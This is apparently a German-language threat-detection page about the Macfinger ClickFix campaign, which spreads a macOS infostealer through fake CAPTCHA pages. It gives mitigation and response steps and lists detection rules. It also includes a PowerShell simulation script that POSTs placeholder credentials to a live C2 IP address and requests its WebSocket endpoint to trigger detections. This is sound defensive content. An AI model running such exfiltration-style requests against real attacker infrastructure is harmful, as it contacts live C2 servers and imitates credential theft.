Macfinger ClickFix Kampagne: Analyse der Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Die Macfinger ClickFix-Kampagne liefert einen nicht identifizierten macOS-Informationsdieb über gefälschte CAPTCHA-Verifizierungsseiten. Der Angriff verwendet Shell-Skripte, um architekturspezifische Mach-O-Binaries für Intel- oder Apple Silicon-Systeme abzurufen. Nach dem Start fordert die Malware umfassende Systemberechtigungen an und extrahiert sensible Informationen über HTTP POST-Anfragen und WebSocket-basierte Kommunikation.
Untersuchung
Die Untersuchung konzentrierte sich auf eine Infektion, die auf einem macOS 27.0-Host beobachtet wurde. Analysten verfolgten den anfänglichen Shell-Skript-Loader, den anschließenden Abruf von Mach-O-Binaries und die Kommando- und Steuerkommunikationsmuster der Malware. Die Forschung unterschied die Bedrohung auch von dem zuvor dokumentierten AMOS Stealer basierend auf Unterschieden in Persistenz, Datensammlung und Exfiltrationsverhalten.
Abschwächung
Benutzer sollten es vermeiden, mit verdächtigen browserbasierten CAPTCHA-Aufforderungen zu interagieren oder unerwartete Terminalbefehle auszuführen, die von Websites bereitgestellt werden. Organisationen sollten nach unbefugten Änderungen an LaunchAgents und verdächtigen Downloads suchen, die in das /Library/Caches Verzeichnis geschrieben werden. Das Beschränken von Administratorrechten kann auch die Fähigkeit der Malware verringern, die für die Ausführung erforderlichen systemweiten Berechtigungen zu erhalten.
Antwort
Wenn Macfinger-bezogene Aktivitäten festgestellt werden, trennen Sie den betroffenen macOS-Endpunkt vom Netzwerk, um eine weitere Datenexfiltration zu verhindern. Führen Sie eine forensische Analyse der /Library/LaunchAgents/ and /Library/Caches/ Verzeichnisse durch, um Persistenz-Artefakte zu identifizieren. Überprüfen Sie die Systemprotokolle auf unbefugte Berechtigungsanforderungen und den Zugriff auf sensible Orte wie Dokumente, Desktop und Downloads.
Angriffsfluss
Erkennungen
Verdächtige Command-and-Control durch ungewöhnliche Top-Level-Domain (TLD) DNS-Anfrage (via dns)
Mögliche Base64-codierte Zeichenfolgenmanipulation [MacOS] (via cmdline)
Verdächtiger Curl-Ausführungsversuch [MacOS] (via cmdline)
IOCs (HashSha256) zur Erkennung: Ein genauerer Blick auf Malware aus der Macfinger ClickFix-Kampagne
IOCs (SourceIP) zur Erkennung: Ein genauerer Blick auf Malware aus der Macfinger ClickFix-Kampagne
IOCs (DestinationIP) zur Erkennung: Ein genauerer Blick auf Malware aus der Macfinger ClickFix-Kampagne
Erkennen von Macfinger ClickFix C2 Traffic und Datenexfiltration [HTTP Traffic]
Erkennung von Macfinger ClickFix Kampagneninfektion [macOS Prozess Erstellung]
Simulationsdurchführung
-
Angriffserzählung & Befehle: Der Angreifer hat erfolgreich ersten Zugriff erlangt und versucht, gesammelte Anmeldedaten zu exfiltrieren. Um die Erkennung durch Standard-Webfilter zu vermeiden, verwenden sie einen benutzerdefinierten Go-basierten Agenten. Der Agent ist programmiert, eine POST-Anfrage mit Benutzerdaten an den C2-Endpunkt zu senden
/api/credentials. Anschließend etabliert er eine WebSocket-Verbindung zu/api/t, um weitere Anweisungen zu erhalten. Die Simulation wird PowerShell verwenden, um diese spezifischen HTTP-Eigenschaften (IP, User-Agent und URI) zu fälschen, um die Erkennungsregel auszulösen. -
Regressionstest-Skript:
# Simulation von Macfinger C2 Traffic $C2_IP = "95.163.153.80" $UserAgent = "Go-http-client/1.1" Write-Host "[+] Start der Macfinger-Simulation..." -ForegroundColor Cyan # 1. Datenexfiltration über HTTP POST simulieren Write-Host "[+] Versuche Datenexfiltration (POST /api/credentials)..." -ForegroundColor Yellow try { $exfilParams = @{ Uri = "http://$($C2_IP)/api/credentials" Method = "POST" UserAgent = $UserAgent Body = "user=admin&pass=P@ssword123" ContentType = "application/x-www-form-urlencoded" } Invoke-RestMethod @exfilParams } catch { Write-Host "[-] Anfrage fehlgeschlagen (Erwartet, wenn IP nicht erreichbar ist): $($_.Exception.Message)" -ForegroundColor Gray } # 2. Command & Control über WebSocket simulieren (Simuliert über HTTP GET zur spezifischen URI) # Hinweis: Wahre WebSocket-Handshakes erfordern spezifische Bibliotheken, aber für Netzwerk-Telemetrie # ist die Initial GET-Anfrage zur URI der primäre Auslöser. Write-Host "[+] Versuche WebSocket-Handshake (GET /api/t)..." -ForegroundColor Yellow try { $wsParams = @{ Uri = "http://$($C2_IP)/api/t" Method = "GET" UserAgent = $UserAgent } Invoke-RestMethod @wsParams } catch { Write-Host "[-] Anfrage fehlgeschlagen (Erwartet, wenn IP nicht erreichbar ist): $($_.Exception.Message)" -ForegroundColor Gray } Write-Host "[+] Simulation abgeschlossen." -ForegroundColor Cyan -
Bereinigungskommandos:
# Dieses Simulationsskript erstellt keine permanenten Artefakte. # Sicherstellen, dass keine aktiven Verbindungen zur Ziel-IP bestehen bleiben. Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false